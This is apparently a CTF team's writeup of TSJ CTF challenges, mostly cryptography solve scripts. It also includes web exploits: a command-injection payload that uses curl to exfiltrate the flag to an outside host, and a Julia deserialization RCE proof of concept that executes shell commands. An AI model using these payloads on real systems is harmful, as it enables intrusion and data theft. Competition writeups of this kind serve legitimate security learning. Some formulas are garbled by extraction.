We played TSJ CTF last weekend and we won! This is the writeups of our challenges:

Challenge Name Category Points Writeup
Completely Secure Cryptography CSC, Misc 116 Link
Nimja at Nantou Web 133 Link
Cipher Switching Service Crypto 416 Mystiz's blog
Signature Crypto 469 Mystiz's blog
Remote Code TeXecution 1 Misc 500 Link

## Futago#

Solved by Mystiz and grhkm; writeup compiled by grhkm.

We are given three different folders, each containing RSA challenges which we shall solve to get the full flag. Firstly, here is how to read the .pub files in Python:

from Crypto.PublicKey import RSA

print(key.n, key.e)

With this in mind, let's look at each of the three stages. Note that since this is a CSC challenge, there is quite a bit of guessing involved, but I will try to explain the motivation behind each.

### Stage 1#

We are given two RSA keys with $n\sim 2^{2048}$ and $e = 65537$, so there is seemingly no obvious attack on the modulus itself. However, we can guess that the modulus $n_1$ and $n_2$ are generated with a shared prime factor i.e. $n_1 = pq_1$ and $n_2 = pq_2$. This way, we can take their $\gcd$ to extract and factorise the modulus.

Relevant code:

from math import gcd
from Crypto.Util.number import bytes_to_long, long_to_bytes

p = gcd(n1, n2)
q1 = n1 // p
q2 = n2 // p

d1 = pow(e1, -1, (p - 1) * (q1 - 1))
d2 = pow(e2, -1, (p - 1) * (q2 - 1))

print(long_to_bytes(pow(bytes_to_long(c1), d1, n1)).decode())
# Flag: TSJ{just_several_common_rsa_tricks_combined_together_

# decrypting flag.txt.key2.enc gives the same flag

Note that we have $m_1 = m_2$ for the plaintext

### Stage 2#

This time, we are given $n_1 = n_2$, $e_1 = 293613$ and $e_2 = 3981$, so

\begin{aligned} c_1 &\equiv m^{e_1} \mod pq \\ c_2 &\equiv m^{e_2} \mod pq \end{aligned}

From this, it is a standard trick to try to find $k_1, k_2$ such that $k_1e_1 + k_2e_2 = 1$ using the extended euclidean algorithm, as that will give

$c_1^{k_1}c_2^{k_2}\equiv m^{k_1e_1 + k_2e_2}\equiv m\mod pq$

However, here we have $\gcd(e_1, e_2) = 3$, meaning they're not coprime. Therefore, we instead find $k_1, k_2$ such that $k_1e_1 + k_2e_2 = 3$, and $m$ from $m^3$ by taking cube roots in the integers.

Solve script:

import gmpy2
from math import gcd
from Crypto.PublicKey import RSA
from Crypto.Util.number import bytes_to_long, long_to_bytes

# import keys
...

# solve k1 * e1 + k2 * e2 == 3
g, k1, k2 = gmpy2.gcdext(e1, e2)
assert g == 3 and k1 * e1 + k2 * e2 == g

m3 = pow(c1, k1, n1) * pow(c2, k2, n1) % n1
m = gmpy2.iroot(m3, 3)[0]
print(long_to_bytes(m).decode())
# Flag: in_a_single_guessy(?)_challenge_

### Stage 3#

Finally, this time we are given two different $2040$-bit modulus $n_1 = 2256\ldots 6353$ and $n_2 = 2256\ldots 3931$, as well as $e_1 = e_2 = 65537$. As you can see, the two modulus are very close. Indeed, we have $|n_2 - n_1| \sim 2^{1031}$. What does this mean? Well, assuming the parameters for $n_1$ is generated "normally", we will expect that $n_1 = p_1q_1$ where $p_1\sim q_1$, typically with $p_1 < q_1 < 2p_1$. This means that $p_1, q_1$ should be around $2^{1020}$, and $|n_2 - n_1| \sim 2^{11}\cdot p_1$. More specifically, we can write

\begin{align*} n_1 &= p\cdot q \\ n_2 &= (p + \epsilon_1)\cdot (q + \epsilon_2) \end{align*}

Then we can expect that

$n_2 - n_1 \approx p\epsilon_2 + q\epsilon_1 \approx (\epsilon_1 + \epsilon_2)\cdot p \implies \epsilon_1 + \epsilon_2\approx 2^{11}$

The range is really small and we can simply bruteforce for $\epsilon_i$ and check for a factorisation of $n_2$!

... But wait, how do we check for a factorisation without knowing $p$ and $q$? I got stuck here in-contest but Mystiz reminded me that we have $2$ equations with $2$ unknowns, and we can write a simultaneous equation:

$\begin{cases} pq &= n_1 \\ \epsilon_2 p + \epsilon_1 q &= n_2 - n_1 - \epsilon_1 \epsilon_2 \end{cases}$

Explicitly, we get $\epsilon_2pq = (n_2 - n_1 - \epsilon_1\epsilon_2)q - \epsilon_1q^2 = \epsilon_2 n_1$

Solve Script:

for eps1, eps2 in itertools.product(map(mpz, range(2, 3000, 2)), repeat=2):
a = eps1
b = eps1 * eps2 + n1 - n2
c = eps2 * n1
det = b ** 2 - 4 * a * c
if det < 0:
continue
root, exact = iroot(det, 2)
if exact and (-b + root) % (2 * a) == 0:
q1 = (-b + root) // (2 * a)
p1 = n1 // q1
break

d1 = invert(e1, (p1 - 1) * (q1 - 1))
print(long_to_bytes(pow(bytes_to_long(c1), d1, n1)).decode())
# Flag: and_this_is_just_some_random_string_to_make_the_flag_long_enough_308c8dfa144c4f41c3dfa06b5}

Final Flag: TSJ{just_several_common_rsa_tricks_combined_together_in_a_single_guessy(?)_challenge_and_this_is_just_some_random_string_to_make_the_flag_long_enough_308c8dfa144c4f41c3dfa06b5}

## Completely Secure Cryptography#

Solved by Mystiz; writeup compiled by Mystiz.

With some time of testing, I found that the output should be generated from:

# "Encrypt", of course
def encrypt(m: bytes) -> str:
c = m
for _ in range(16):
c = base64.b64encode(c)
return c.decode().upper()

It is observed in two ways:

• base64.b64decode(b'Vm0w') == b'Vm0'
• This implies that the last step should be a "captialize" operation, and there are a bunch of base64-encode going on.
• if we encode TSJ for 16 rounds, the prefix of its output and output.txt has the highest similarity (if we are case-insensitive).
• Base64 is performed 16 rounds.

From this, we can easily guess byte by byte and see how many characters are matched. Doing this greedily doesn't necessarily give us the correct flag, but we can search through the string space by recursion.

### Solution script#

import base64
import string

with open('challenge/output.txt') as f:

def guess(m0=b'', best=0):
res = []

for u in string.printable.encode():
m1 = m0 + bytes([u])
m = m1

# Encodes the flag
for _ in range(16):
m = base64.b64encode(m)
m = m.upper().decode()

for i in range(best, len(c)):
if m[i] != c[i]: break
else:
assert False, f'Done! The flag is {m1.decode()}'

res.append((i, u))

res = sorted(res, reverse=True)
if res[0][0] == best: return
for best, b in res:
m1 = m0 + bytes([b])
guess(m1, best)

guess()
# TSJ{A_Truly_Cursed_Challenge_kekw_xDoeEf+AVg\XI[r_w(S,~N2?Ba|tFRgsOvM]^ikhG"jcW|z~n& bCU$-qx4Z=;9/6lwLyzYm*TpuHQ.#Jj%1>)P0!d3@} ## Nimja at Nantou# Solved by Kaiziron and Ozetta; writeup compiled by Kaiziron. This is a challenge about bypassing the proxy and exploiting an outdated NodeJS library which is vulnerable to command injection. The proxy will prevent some path to be accessed : map /hello-from-the-world/key http://127.0.0.1:80/forbidden map /hello-from-the-world/ http://127.0.0.1:80 map /service-info/admin http://127.0.0.1:5000/forbidden map /service-info/ http://127.0.0.1:5000/ To exploit the command injection, we have to first get the key. This path will return the key, if the request is made from 127.0.0.1 :  get "/": var jsonheader = parseJson($request.headers.toJson)
var ip = $request.ip # If x-forwarded-for exists if haskey(jsonheader["table"], "x-forwarded-for"): var ips = jsonheader["table"]["x-forwarded-for"] ip = ips[ips.len-1].str if ip == "127.0.0.1": resp getkey() else: resp "This is the index page.\nOnly local user can get the key.\n" In order to have a request made from 127.0.0.1, we can make a POST request to /get_hello :  post "/get_hello": var jsonheader = parseJson($request.params.toJson)
var host = ""

if host != "":
var response = hello_from_the_world(host)
resp response
else:
resp "Please provide the host so that they can say hello to you.\n"

It can call the hello_from_the_world function, which will make the request to get the key we want, however it will append hello at the end of the URI :

proc hello_from_the_world(host: string): string =
var client = newHTTPClient(timeout=1000)
var uri = host & "hello"
var response = ""
try:
response = client.getContent(uri)
except:
response = "Cannot fetch hello from your designated host.\n"
return response

We can add a ? at the end of the URI, so the hello it appended will be parsed as a parameter and won't affect the path.

POST /hello-from-the-world/get_hello HTTP/1.1
Host: 34.81.54.62:5487
Content-Type: application/x-www-form-urlencoded
Content-Length: 26

host=http://localhost:80/?

HTTP/1.1 200 OK
Content-Length: 62
Server: ATS/9.1.0
Date: Sun, 27 Feb 2022 12:21:06 GMT
Content-Type: text/html;charset=utf-8
Age: 0
Connection: keep-alive

T$J_CTF_15_FUN_>_<_bY_Th3_wAy_IT_is_tHE_KEEEEEEEY_n0t_THE_flag After getting the key, we can proceed to exploit the command injection. The systeminformation library is version 5.2.6. // cat package.json { "name": "service-info", "version": "1.0.0", "description": "The package is for service-info from Nimja at Nantou", "main": "app.js", "scripts": { "test": "echo \"Error: no test specified\" && exit 1" }, "author": "l3o", "license": "ISC", "dependencies": { "systeminformation": "5.2.6" } } It is outdated and vulnerable to command injection More information about the vulnerability : https://vuldb.com/?id.169997 https://github.com/ForbiddenProgrammer/CVE-2021-21315-PoC The si.services() function is vulnerable : function get_services(service) { return new Promise((res, reject) => { si.services(service) .then(data => { console.log(data); if (data != null) res(data.toString()); else res("Failed"); }).catch(error => { console.error("Error: " + error); reject("There is an error when fetching services."); }) }); } The /admin path will call that get_services function :  if (request.url == "/admin") { if (request.method == "POST") { if(body) { try { var jsonData = JSON.parse(body); var service = jsonData.service; var client_key = jsonData.key; } catch (e) { response.end("ERROR"); return 1; } } if (client_key == KEY) { let return_data = await get_services(service); response.end(return_data); } else { console.log("Key does not match.\n"); response.end("Only local users with the key can access the function.\n"); } } else { response.end("This is the admin page.\n"); } } else if (request.url == "/forbidden") { response.end("Only local user can access it.\n"); } else if (request.url == "/") { response.end("This is the index page.\n"); } else { response.end("404 Not Found\n"); } That /admin path is blocked by the proxy, but using double slash can bypass it /service-info//admin Then just follow this POC and exploit the command injection to read the flag : https://github.com/ForbiddenProgrammer/CVE-2021-21315-PoC POST /service-info//admin HTTP/1.1 Host: 34.81.54.62:5487 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: close Upgrade-Insecure-Requests: 1 Cache-Control: max-age=0 Content-Type: application/json Content-Length: 159 {"service":["$(curl http://REDACTED/base64 /flag)"],
"key":"T$J_CTF_15_FUN_>_<_bY_Th3_wAy_IT_is_tHE_KEEEEEEEY_n0t_THE_flag"} GET /VFNKe0hSNV8xU19DMDAxX1hEX0wzdHNfZ29vb29vfQ== HTTP/1.1 Host: REDACTED User-Agent: curl/7.64.0 Accept: */* echo "VFNKe0hSNV8xU19DMDAxX1hEX0wzdHNfZ29vb29vfQ==" | base64 -d TSJ{HR5_1S_C001_XD_L3ts_gooooo} ## babyRSA# Solved by grhkm and Mystiz; writeup compiled by Mystiz. ### Challenge Summary# Let$p$and$q$be two primes of respectively 1024 bits and 512 bits. Denote$n = pq$and define the elliptic curve$\mathcal{C}$by $\mathcal{C}: \quad y^2 \equiv x^3 + px + q\ (\text{mod}\ n).$ Let$P = (x, y)$be a point on$\mathcal{C}$with$\text{flag}$being 1536 bits long. Finally, we are given$Q$with$Q = e \cdot P$($e = 65537$). The goal is to recover$x$(the padded flag). ### Solution# Since$Q := (x_Q, y_Q)$is on the elliptic curve$\mathcal{C}$, we have $q + {x_Q}^3 - {y_Q}^2 + x_Q \cdot p \equiv 0\ (\text{mod}\ n).$ If we multiply both sides by$q$, we have an quadratic congruence in$q$: $q^2 + ({x_Q}^3 - {y_Q}^2) \cdot q + x_Q \cdot n \equiv 0\ (\text{mod}\ n).$ Since$q$and$n$are respectively 512 and 1536 bits, we have more information than unknowns. We can use LLL to recover$q$. After that, we can recover$P$over$\mathbb{Z}_p$and$\mathbb{Z}_qby considering the below elliptic curves: \begin{aligned} & \mathcal{C}_p: \quad y^2 \equiv x^3 + px + q\ (\text{mod}\ p) \\ & \mathcal{C}_q: \quad y^2 \equiv x^3 + px + q\ (\text{mod}\ q) \end{aligned} Also, it would be easy for Sage to compute the order of those elliptic curves. In that way, we can findd_p$and$d_q$such that $P = d_p \cdot Q\ (\text{mod}\ p) \quad \text{and} \quad P = d_q \cdot Q\ (\text{mod}\ q).$ Finally, we can use the Chinese remainder theorem to recover$P\ \text{mod}\ n$. We have the flag by getting its$x$-coordinate: TSJ{i_don't_know_how_to_come_up_with_a_good_flag_sorry} #### Solution script# e = 65537 n = 1084688440161525456565761297723021343753253859795834242323030221791996428064155741632924019882056914573754134213933081812831553364457966850480783858044755351020146309359045120079375683828540222710035876926280456195986410270835982861232693029200103036191096111928833090012465092747472907628385292492824489792241681880212163064150211815610372913101079146216940331740232522884290993565482822803814551730856710106385508489039042473394392081462669609250933566332939789 Qx, Qy = (1079311510414830031139310538989364057627185699077021276018232243092942690870213059161389825534830969580365943449482350229248945906866520819967957236255440270989833744079711900768144840591483525815244585394421988274792758875782239418100536145352175259508289748680619234207733291893262219468921233103016818320457126934347062355978211746913204921678806713434052571635091703300179193823668800062505275903102987517403501907477305095029634601150501028521316347448735695, 950119069222078086234887613499964523979451201727533569872219684563725731563439980545934017421736344519710579407356386725248959120187745206708940002584577645674737496282710258024067317510208074379116954056479277393224317887065763453906737739693144134777069382325155341867799398498938089764441925428778931400322389280512595265528512337796182736811112959040864126090875929813217718688941914085732678521954674134000433727451972397192521253852342394169735042490836886) load('coppersmith.sage') bounds = (2^512, ) P.<q> = PolynomialRing(Zmod(n), 1) f = q^2 - q * (Qy^2 - Qx^3) roots = small_roots(f, bounds, m=7) for q0, in roots: q0 = int(q0) if q0 == 0: continue if n % q0 != 0: continue print(f'{q0 = }') p0 = n // q0 Cp = EllipticCurve(Zmod(p0), [p0, q0]) op = Cp.order() print(f'{op = }') dp = int(pow(e, -1, op)) print(f'{dp = }') Qp = Cp(Qx, Qy) Pp = dp * Qp Cq = EllipticCurve(Zmod(q0), [p0, q0]) oq = Cq.order() print(f'{oq = }') dq = int(pow(e, -1, oq)) print(f'{dq = }') Qq = Cq(Qx, Qy) Pq = dq * Qq Ppx, Ppy = map(int, Pp.xy()) Pqx, Pqy = map(int, Pq.xy()) Px = int(crt([Ppx, Pqx], [p0, q0])) print(f'{Px = }') for x in range(Px, 2**1536, n): flag = x.to_bytes(1536//8, 'big') print(f'{flag = }') # TSJ{i_don't_know_how_to_come_up_with_a_good_flag_sorry} ## Top Secret# Solved by grhkm and Mystiz; writeup compiled by grhkm. We are given the source code. class Cipher: bs = 16 s = 0x6BF1B9BAE2CA5BC9C7EF4BCD5AADBC47 k = 0x5C2B76970103D4EEFCD4A2C681CC400D def __init__(self, key): self.key = key def _next(self): # replacing fast_forward with forward works too self.s = fast_forward(self.s, self.key, self.k) def ks(self, n): ks = b"" while len(ks) < n: self._next() ks += self.s.to_bytes(self.bs, "big") return ks[:n] def encrypt(self, plaintext): return bytes(x ^ y for x, y in zip(plaintext, self.ks(len(plaintext)))) def decrypt(self, ciphertext): return self.encrypt(ciphertext) def forward(s, n, k): for _ in range(n): s = (s >> 1) ^ ((s & 1) * k) return s if __name__ == "__main__": key = randbelow(2 ** 128) with open("flag.png", "rb") as f: data = f.read() with open("flag.png.enc", "wb") as f: f.write(Cipher(key).encrypt(data)) As we can see, it is a stream cipher where the flag is xor'ed by a stream with a fixed state s. First, note that the first$16$bytes, and thus the entire first "round" of bits, can be recovered by xor'ing the encrypted flag with the PNG header and the IHDR chunk. Further analysing the forward function, we see that it is essentially a Galois LFSR - in short, each time the LFSR shifts, the entire state is xor'ed by a key k. If we now represent the state as a vector$\vec{s} \in \mathbb{F}_2^{128}$, we can see the forward operation is $f: \begin{pmatrix} s_0 \\ s_1 \\ \vdots \\ s_{126} \\ s_{127} \end{pmatrix} \mapsto \begin{pmatrix} s_1 \\ s_2 \\ \vdots \\ s_{127} \\ 0 \end{pmatrix} \oplus s_0 \cdot \vec{k}$ Where$\vec{k}$is the constant in the source code written as a binary vector. With some linear algebra, we can write this as a matrix multiplication$\vec{s} \mapsto M\vec{s}$, but we got stuck here as we thought it is impossible to solve for$M^n\vec{s} = \vec{t}$, because of two reasons: 1. We do not have the full matrix$M^n$2. Even if we do, it is infeasible to calculate discrete logarithms of$128\times 128$matrices. As it turns out, both the assumptions are incorrect. Firstly, due to the special nature of$M$being the representation of a Galois LFSR, we can treat$\vec{s}$as an element of$\color{blue}{\mathbb{F}_{2^{128}}}$, and more specifically as a polynomial. To motivate this, we can look at the following examples: (writing vectors in row form from$s0$to$s{127}) \begin{align*} f(1, 0, 0, \ldots, 0, 0) &= (0, 1, 0, \ldots, 0, 0) \\ f(0, 0, 1, \ldots, 0, 0) &= f(0, 0, 1, \ldots, 0, 0) \\ &\vdots \\ f(0, 0, 0, \ldots 1, 0) &= f(0, 0, 0, \ldots, 0, 1) \\ f(0, 0, 0, \ldots, 0, 1) &= \vec{k} \end{align*} From the cyclic nature of the operation, we can treat the vector(s_0, s1, \ldots, s{127})$as polynomials in$\mathbb{F}_{2^{128}}$as$s_0 + s_1x + s2x^2 + \ldots + s{127}x^{127}$and$f(s) = xs$. Then since$x^{127}$gets mapped to$k$(as a polynomial), we can think of this as a modulo operation $f(s) = (xs\mod x^{128} + k(x))$ Now the idea is clear. With the first$16$bytes i.e.$128$bits of keystream, we can form a polynomial of the state$t$, and we get the equation $t \equiv x^n s \mod (x^{128} + k(x))$ We can directly compute the discrete logarithm$\log_x(\frac{t}{s})$. It is crucial to use pari's .fflog instead of sage's builtin .log method before Sage 9.5, as Sage uses generic PH-BSGS method to solve discrete logarithm in this case. There is a final trick where$x^{128} + k(x)$is not irreducible but instead is in the form of$xP(x)$. We simply consider discrete logarithm mod$P(x)$and the rest follows as seen from the modulo relation. Code: k = 0x5C2B76970103D4EEFCD4A2C681CC400D init_s = 0x6BF1B9BAE2CA5BC9C7EF4BCD5AADBC47 def to_poly(s): return sum(((s >> i) & 1) * x^(127 - i) for i in range(128)) def to_int(r): return sum(int(x) << (127 - i) for i, x in enumerate(r.coefficients(sparse=False))) R.<x> = PolynomialRing(GF(2), 'x') # from other png files png_header = 0x89504e470d0a1a0a0000000d49484452 # from flag.png.enc known = 0x9995611033e8bf22ae4defce1e53b92c cur_s = to_poly(png_header ^^ known) # extract modulus modulus = R((x^128 + to_poly(k)) / x) # setup fields and convert print(modulus.factor()) Q.<x> = GF(2^127, modulus=modulus) cur_sQ = Q(cur_s) init_sQ = Q(to_poly(init_s)) # discrete log dlog = ZZ(pari.fflog(Q(cur_sQ / init_sQ), Q(x))) print(f"{dlog = }") assert Q(x)^dlog * init_sQ == Q(cur_sQ) # however, calculations have to be done in the original modulus modulus *= R(x) cur_s = R(to_poly(init_s)) # decrypt flag enc = open('flag.png.enc', 'rb').read() keystream = b"" while len(keystream) < len(enc): cur_s = cur_s * pow(R(x), dlog, modulus) % modulus keystream += to_int(cur_s).to_bytes(16, "big") dec = bytes([x ^^ y for x, y in zip(enc, keystream)]) open('flag.png', 'wb').write(dec) Flag: TSJ{discrete_log_in_a_finite_field} ## RNG++# Solved by Mystiz; writeup compiled by grhkm and Mystiz. ### Challenge Summary# Suppose that we have a linear congruence generator$s_{k+1} = (a \cdot s_k + c)\ (\text{mod}\ m)$for all$k \geq 0$. We have a transcript file that contains$m$,$a$and$c$($a$and$c$are primes less than$m$). We are also given a number of ciphertexts. The$k$-th ciphertext$c_k$($k \geq 1$) is computed by: $c_k = m_k \oplus s_k.$ Here$m_k$is the$k$-th message.$m_1$is the flag with length$l$and$m_2, m_3, ...$are strings of length$l$those contain digits only (for example, m2 = b"133765536"). The goal is to recover$m_1$. In this challenge, the parameters are given below: l = 32 # m = 2^256 m = 115792089237316195423570985008687907853269984665640564039457584007913129639936 a = 86063744400850297667628777812749377798737932751281716573108946773081904916117 c = 64628347935200268328771003490390752890895505335867420334664237461501166025747 ciphertexts = [ 0x59fe4b12f3f85e6756189ba75cc7bfc6ebc5b9a9e0f008623dd008f9632927c2, 0x413c3d70d09e08d2e5b10b51800b65571f3afde82ca233351cddae591c3996d2, 0xea4aac7bf92c87cad6584d4cd8337af93afc2fd42314c02298afcdd26ec42771, 0x8c6425226df355ccd09cc5c968b3cfa8fd606179346a66841ee5b7f6e6425409, 0x16cd6c30d1bff2dc1ba2e6257fb37fd5c477d0952e254aa3c5c301b0e43846c8 ] ### Solution# As noted, we notice that the random strings$m_i, i\geq 2$consists of digits only. We further note that since the modulus$m = 2^{256}$is a power of$2$, we have that $m_1 \oplus (AS + C) \equiv c_1 \mod 2^{256}$ $\implies \begin{cases} m_1[:1] \oplus (AS + C\mod 2^8) &\equiv c_1 \mod 2^8 \\ m_1[:2] \oplus (AS + C\mod 2^{16}) &\equiv c_1 \mod 2^{16} \\ m_1[:3] \oplus (AS + C\mod 2^{24}) &\equiv c_1 \mod 2^{24} \\ &\vdots \end{cases}$ Where$S' \in [0, 2^{8i}]$is the restricted$S$, and equations are similar for$m_2, m_3, m_4$. Therefore, we can test$i = 1, 2, \ldots, 32$, bruteforce the corresponding character$c_1[i]$(which has$10$choices), and use recursion. #### Solution script# m = 2**256 a = 86063744400850297667628777812749377798737932751281716573108946773081904916117 c = 64628347935200268328771003490390752890895505335867420334664237461501166025747 cs = [ 0x59fe4b12f3f85e6756189ba75cc7bfc6ebc5b9a9e0f008623dd008f9632927c2, 0x413c3d70d09e08d2e5b10b51800b65571f3afde82ca233351cddae591c3996d2, 0xea4aac7bf92c87cad6584d4cd8337af93afc2fd42314c02298afcdd26ec42771, 0x8c6425226df355ccd09cc5c968b3cfa8fd606179346a66841ee5b7f6e6425409, 0x16cd6c30d1bff2dc1ba2e6257fb37fd5c477d0952e254aa3c5c301b0e43846c8, ] nums = set(b'0123456789') def attempt(current=0, progress=0): if progress == 32: m1 = current s1 = m1 ^ cs[1] s0 = pow(a, -1, m) * (s1 - c) % m m0 = s0 ^ cs[0] flag = int.to_bytes(m0, progress, 'big') print(f'{flag = }') return mod = 256**(progress + 1) for x in range(10): m1 = current + 256**progress * (0x30 + x) s1 = (m1 ^ cs[1]) % mod s2 = (a * s1 + c) % mod m2 = (s2 ^ cs[2]) % mod if set(int.to_bytes(m2, progress+1, 'big')) | nums != nums: continue s3 = (a * s2 + c) % mod m3 = (s3 ^ cs[3]) % mod if set(int.to_bytes(m3, progress+1, 'big')) | nums != nums: continue s4 = (a * s3 + c) % mod m4 = (s4 ^ cs[4]) % mod if set(int.to_bytes(m4, progress+1, 'big')) | nums != nums: continue attempt(m1, progress+1) attempt() # TSJ{this_is_a_boring_challenge_sorry} ## RNG+++# Solved by Mystiz; writeup compiled by Mystiz. ### Challenge Summary# The challenge has the same setting as RNG++ with a different set of parameters: l = 24 # m = 2^192 + 133 = NextPrime(2^192) m = 6277101735386680763835789423207666416102355444464034513029 a = 5122535491606943208710238231068027098883286375061143870757 c = 3210047385276654404868184757570927620150853542689320481571 ciphertexts = [ 0x0b8bb965128d77d56f2efc1b7ec640699927dbb711d13a41, 0x5c894788bdf78b2b7bf4081270ebb495b95c90ab6a7fb3f0, 0x737d9ea03e9fd30eeb2176aa588480c0b798682a7f4013fc, 0x299bd16cef01a65b467d5e3dfd46ec62b4e29f8994b1a4c0, 0xaa9b3e5f5635b7cab0eaa50aa854223975bfc10976a5b198, 0xdfdcac905116a9f8ac0fb9bdf8da193616b58713daa7dade, 0x520b8ea46a7ad0a590064b6f067b9b3962c4874541eb34f0, 0xa490b4afaf268540b0ecafff938b4531ad06b5706a4d68e6, 0x087726f7bf592ad0ee92e78773dc860f4975766f382bf192 ] ### Solution# The idea is similar to Signature, which attempts to remove XOR operations of a relation and convert it to affine relation. The below script would recover the seed$s_0$from ciphertexts. The weights are pretty hard to set though… @maple3142 used BKZ and it would return a better set of vectors, effectively recovering$s_0$without much configuration to the weights. After we have the seed recovered from LLL, we can decrypt$c_1$and yield the flag: TSJ{sorry_for_the_broken_ver} #### Solution script# m = 6277101735386680763835789423207666416102355444464034513029 # 2^192 + 133 a = 5122535491606943208710238231068027098883286375061143870757 c = 3210047385276654404868184757570927620150853542689320481571 cs = list(map(int, [ 0x0b8bb965128d77d56f2efc1b7ec640699927dbb711d13a41, 0x5c894788bdf78b2b7bf4081270ebb495b95c90ab6a7fb3f0, 0x737d9ea03e9fd30eeb2176aa588480c0b798682a7f4013fc, 0x299bd16cef01a65b467d5e3dfd46ec62b4e29f8994b1a4c0, 0xaa9b3e5f5635b7cab0eaa50aa854223975bfc10976a5b198, 0xdfdcac905116a9f8ac0fb9bdf8da193616b58713daa7dade, 0x520b8ea46a7ad0a590064b6f067b9b3962c4874541eb34f0, 0xa490b4afaf268540b0ecafff938b4531ad06b5706a4d68e6, 0x087726f7bf592ad0ee92e78773dc860f4975766f382bf192, ])) n = len(cs)-1 P.<s0> = PolynomialRing(GF(m)) ss = [s0] while len(ss)-1 <= len(cs): ss.append(a * ss[-1] + c) try: ss[-1] = ss[-1] % m except: pass ss = ss[1:] MASK = int.from_bytes(b'0'*24, 'big') weights = [2^256 for _ in range(8)] # all zeros weights += [2^192, 1] # 1, s0 (192 bit) weights += [2^192 for _ in range(24*8)] # rki's (-15 ~ 15) A = Matrix(ZZ, 2 + 25*n) Q = diagonal_matrix(weights) for j in range(n): vj, uj = map(int, ss[j+1].coefficients()) if True: A[0, j] = vj - (cs[j+1]^^MASK) A[1, j] = uj for i in range(24): A[2+24*j+i, j] = 256**i if True: A[2+24*n+j, j] = m for i in range(2 + 24*n): A[i, n+i] = 1 A *= Q A = A.LLL() A /= Q for row in A: if list(row[:n]) != [0 for _ in range(n)]: continue if row[n] < 0: row = -row if row[n] != 1: continue s0 = int(row[n+1] % m) rs = row[n+2:] if min(rs) < -15: continue if max(rs) > 15: continue print(f'{s0 = }') print(f'{rs = }') print() ## Genie# Solved by grkhm, Mystiz and Ozetta; writeup compiled by Mystiz and Ozetta. The challenge is a website developed using Genie Framework, which is based on Julia. The website allows user to upload files and it stores the file list to the session. ### The first steps# From Mystiz's perspective I noticed this challenge after it is tagged with "crypto". Since the source code for the web server (main.jl) is pretty short, I suspect that we should be looking for a bug from the Genie framework. One use of crypto in Genie is their cookie-session management. In short, cookies are ciphertexts of the session ID. The session ID corresponds to a file in the /app/sessions folder. In pseudocode: # key and iv are fixed cookie = aes_cbc_encrypt(plaintext=session_id, key=key, iv=iv) session_file = '/app/sessions/' + session_id Seeing AES-CBC is being used, I suspected that there is a padding oracle vulnerability... After that, I deployed an instance locally with key and IV hardcoded. I found that we can set the session ID to be ../uploads/session.txt and it would read my uploaded session.txt as the session content. I drafted an attack flow and get the web guy (the unbeatable Ozetta) involved: 1. Upload session.txt with a malicious session that will copy the flag to uploads/session.txt 2. Set the session to point to ../uploads/session.txt 3. Visit the page for the command in the session to execute 4. Go to http://[HOST]/uploads/flag for the flag By the way, grhkm asked if we could upload a file called ../f early on. I quickly rejected his idea. I was so wrong... More on that later. ### Crafting a malicious session file# From Ozetta's perspective Mystiz et al. found that the session id stored in cookies (__geniesid) is an encrypted filename of the session file in the server. The encryption is using a secret token, which is random whenever the server instance is created: Genie.secret_token!(sha256(randstring(256)) |> bytes2hex) Apparently we need to specify the __geniesid to point to the file we uploaded to do something interesting. What kind of thing we should do? We found that the sesion file is in a serialized format that starts with "7JL": https://docs.julialang.org/en/v1/stdlib/Serialization/ So probably it is some kind of deserialization and trigger RCE like the pickle in python or POP chain in PHP: https://cwe.mitre.org/data/definitions/502.html Let's search for this in Julia and see whether there are some PoCs already. It turns out that there is an issue in GitHub opened since 2019... lol https://github.com/JuliaLang/julia/issues/32601 To test the PoC, we first run the code stated in the issue on the local server, and then replace the session file we found on the local server to the PoC outputed file, and then visit the home page to trigger the session loading. Then we see this in the error log: web_1 | ┌ Error: KeyError(:REQUEST) web_1 | └ @ Genie.AppServer ~/.julia/packages/Genie/drXWm/src/AppServer.jl:120 web_1 | 2022/02/27 15:43:01 [error] 16#16: *6 upstream prematurely closed connection while reading response header from upstream, client: 172.27.0.1, server: , request: "GET / HTTP/1.1", upstream: "http://127.0.0.1:8888/", host: "localhost:8888" web_1 | root:x:0:0:root:/root:/bin/bash web_1 | daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin web_1 | bin:x:2:2:bin:/bin:/usr/sbin/nologin web_1 | sys:x:3:3:sys:/dev:/usr/sbin/nologin ... It works pretty well! Since it only shows the execution result in the error log, probably we need to set up a requestbin to catch the flag after RCE. But to be more convenient to our team members, we can just copy the flag to the uploads folder on the server and then use the native feature to download the flag, so we don't even need external connection lol. Here is the exploit code based on the PoC: using Serialization Serialization.deserialize(s::Serializer, t::Type{BigInt})=run(sh -c 'cp /app/flag* /app/uploads/flag'); filt=filter(methods(Serialization.deserialize).ms) do m String(m.file)[1]=='R' end; Serialization.serialize("poc.serialized_jl", (filt[1], BigInt(7))); The only difference is the command. For some reason you cannot directly use special character when you use the run function (or maybe a language construct? I don't even know wtf is that... lol). The special characters need to be quoted. So if you just use cp /app/flag* /app/uploads/flag then it will try to copy the file called flag* instead of the actual flag file with random file name. So we need to use sh -c here. After that we need to fix the crypto part. The server is slow due to weird behavior of nginx, and it just has 600 seconds timeout. ### Finding the actual crypto bug# From Mystiz's perspective I thought it was a padding oracle, but it is not. Let's read the source code on how a session ID is converted to a cookie: # https://github.com/GenieFramework/Genie.jl/blob/v4.15.2/src/session_adapters/FileSession.jl#L68-L89 """ read(session_id::Union{String,Symbol}) :: Union{Nothing,Genie.Sessions.Session} read(session::Genie.Sessions.Session) :: Union{Nothing,Genie.Sessions.Session} Attempts to read from file the session object serialized as session_id. """ function read(session_id::Union{String,Symbol}) :: Union{Nothing,Genie.Sessions.Session} isfile(joinpath(SESSIONS_PATH, session_id)) || return nothing try open(joinpath(SESSIONS_PATH, session_id), "r") do (io) Serialization.deserialize(io) end catch ex @error "Can't read session" @error ex end end function read(session::Genie.Sessions.Session) :: Union{Nothing,Genie.Sessions.Session} read(session.id) end # https://github.com/GenieFramework/Genie.jl/blob/v4.15.2/src/Sessions.jl#L59-L71 """ id(payload::Union{HTTP.Request,HTTP.Response}) :: String Attempts to retrieve the session id from the provided payload object. If that is not available, a new session id is created. """ function id(payload::Union{HTTP.Request,HTTP.Response}) :: String (Genie.Cookies.get(payload, Genie.config.session_key_name) !== nothing) && ! isempty(Genie.Cookies.get(payload, Genie.config.session_key_name)) && return Genie.Cookies.get(payload, Genie.config.session_key_name) id() end # 